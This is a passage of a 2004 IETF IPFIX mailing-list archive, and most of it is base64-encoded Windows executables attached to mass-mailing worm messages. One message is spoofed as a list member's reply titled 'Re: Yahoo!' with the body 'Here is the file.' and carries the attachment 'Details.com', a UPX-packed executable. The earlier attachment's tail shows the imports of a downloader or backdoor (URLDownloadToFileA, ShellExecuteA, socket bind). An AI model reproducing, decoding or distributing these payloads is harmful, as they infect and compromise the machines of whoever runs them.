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
AAAAAIAAAIAAAACAgACAAAAAgACAAICAAADAwMAAgICAAAAA/wAA/wAAAP//AP8AAAD/AP8A
//8AAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABEREREAAA
AAAAAAAAAAAJERERkRRAAAAAAAAAkRHQEREZmZkUEAAAAAAAkRGREBEZGZmZEZEAAAAAARER
2dCRGZmZmZmZAAAAAAkRnZ2QEZmZmZmZmQAAAACREdnZ0BmZmZmd2ZkAAAAAkZmZnZAZmZmZ
39mZAAAAAJGZmZnQGZmZnf/ZmQAAAACRGZmdkJmZmd/dmZkAAAAAGZmZmdkJmZmdmZmZAAAA
ABGZmZ3dDZmZmZmdkBEAAAAJmZnf/ZAJ2dnZ2QAREAAAAJmZndmQAA2dkADRERkAAAAAmZmQ
AAAAAACRkZ0dAAAAAAAAAgAAACHR2dnZ2dAAAAAAAAIAAAIBHZmZmZmQAAoAAAACAAIgERmZ
mZ2ZkAACqgAAAgAgIACZmZnf2ZAACioAAAIAAgACmZnd3ZmQAAKqAAACACACApmd//2ZAAAC
KqAAAgIgAAKZmd3ZkAAAAiqgAAICACAACZmZkAAAAAAioAAAIAIAAAAAAAAAAAAAKioABAAg
AAAAAAAAAAAAAAKiAABACgAAAAAAAAAAAAAAKiAEAqKioAAAAAAAAAAAAACgACoqKiAAAAAA
AAAAAAAAAAAAAAKqAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////gH///gAf/wQAD/wAAA/
4AAAH8AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAA+AAAAHwAAAA+ACAAHwB4AB3A+AAM/P
AADDzgAAwcxAAMHMwADByYABwMmAA8DDMAfgRHgf4ED///AAH//wAA//+CAP//4gB////4P/
iAMBAAAAAQABACAgEAABAAQA6AIAAAEAAAAAAAAAAAAAAAAA2DQBAIA0AQAAAAAAAAAAAAAA
AADlNAEAkDQBAAAAAAAAAAAAAAAAAPI0AQCYNAEAAAAAAAAAAAAAAAAA/DQBAKA0AQAAAAAA
AAAAAAAAAAAGNQEAqDQBAAAAAAAAAAAAAAAAABI1AQCwNAEAAAAAAAAAAAAAAAAAHjUBALg0
AQAAAAAAAAAAAAAAAAApNQEAwDQBAAAAAAAAAAAAAAAAADQ1AQDINAEAAAAAAAAAAAAAAAAA
QDUBANA0AQAAAAAAAAAAAAAAAAAAAAAAAAAAAEw1AQBaNQEAajUBAAAAAAB4NQEAAAAAAIY1
AQAAAAAAkDUBAAAAAACeNQEAAAAAAK41AQAAAAAAuDUBAAAAAADMNQEAAAAAANg1AQAAAAAA
6DUBAAAAAABLRVJORUwzMi5ETEwAYWR2YXBpMzIuZGxsAGdkaTMyLmRsbABvbGUzMi5kbGwA
U0hFTEwzMi5kbGwAc2hsd2FwaS5kbGwAdXJsbW9uLmRsbAB1c2VyMzIuZGxsAHdpbmluZXQu
ZGxsAHdzb2NrMzIuZGxsAAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAARXhpdFBy
b2Nlc3MAAABSZWdDbG9zZUtleQAAAERlbGV0ZURDAABDb0luaXRpYWxpemUAAFNoZWxsRXhl
Y3V0ZUEAAABTdHJEdXBBAAAAVVJMRG93bmxvYWRUb0ZpbGVBAAB3c3ByaW50ZkEAAABJbnRl
cm5ldE9wZW5BAAAAYmluZAAAAAAAAAAAAAAAAAAAAAAAAFpNKLuSRU1oB3Grk69WusFqVwo5
cBw8wF8NmBY0MwQdkkKHnq6tXGcBoYQpGABElo4j

----------kjuhlbuqrfsfgygpbosz--


--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Sun Aug 22 18:45:36 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA24916
	for <ipfix-archive@lists.ietf.org>; Sun, 22 Aug 2004 18:45:35 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1Bz0dD-0003MA-00
	for ipfix-list@mil.doit.wisc.edu; Sun, 22 Aug 2004 17:16:07 -0500
Received: from p16.pub.ro ([141.85.0.67] helo=julian.com)
	by mil.doit.wisc.edu with smtp (Exim 3.13 #1)
	id 1Bz0dC-0003M5-00
	for ipfix@net.doit.wisc.edu; Sun, 22 Aug 2004 17:16:06 -0500
Date: Mon, 23 Aug 2004 01:16:04 +0200
To: ipfix@net.doit.wisc.edu
Subject: [ipfix] Re: Yahoo!
From: plonka@doit.wisc.edu
Message-ID: <jfjeawycgdcsnlugspq@net.doit.wisc.edu>
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------jjmwgjzbxyigpreghxwk"
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>

----------jjmwgjzbxyigpreghxwk
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
Here is the  file.<br><br>

<br>
</body></html>

----------jjmwgjzbxyigpreghxwk
Content-Type: application/octet-stream; name="Details.com"
Content-Disposition: attachment; filename="Details.com"
Content-Transfer-Encoding: base64

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
